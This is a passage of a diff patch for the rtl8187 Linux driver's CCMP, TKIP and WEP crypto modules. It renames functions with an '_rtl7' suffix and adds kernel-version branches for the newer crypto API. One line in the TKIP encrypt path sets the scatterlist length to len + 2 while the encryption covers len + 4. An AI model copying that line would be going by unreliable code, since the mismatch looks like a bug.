AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt.h 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h 2008-08-12 13:11:32.000000000 -0400 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt_tkip.c 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c 2008-08-12 13:11:32.000000000 -0400 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,23 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#else + sg_set_page(&sg, virt_to_page(pos), len + 2, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +416,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +428,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +476,30 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,33 +533,59 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[0].page = virt_to_page(hdr); sg[0].offset = offset_in_page(hdr); sg[0].length = 16; +#else + sg_set_page(&sg[0], virt_to_page(hdr), 16, offset_in_page(hdr)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[1].page = virt_to_page(data); sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#else + sg_set_page(&sg[1], virt_to_page(data), data_len, offset_in_page(data)); +#endif +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +615,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +627,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +665,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +681,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +689,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +698,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +716,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +732,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +777,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +807,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +834,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt_wep.c 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c 2008-08-12 13:11:32.000000000 -0400 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,25 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#else + sg_set_page(&sg, virt_to_page(pos), len + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +214,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +244,26 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +284,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +298,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +311,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +320,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = 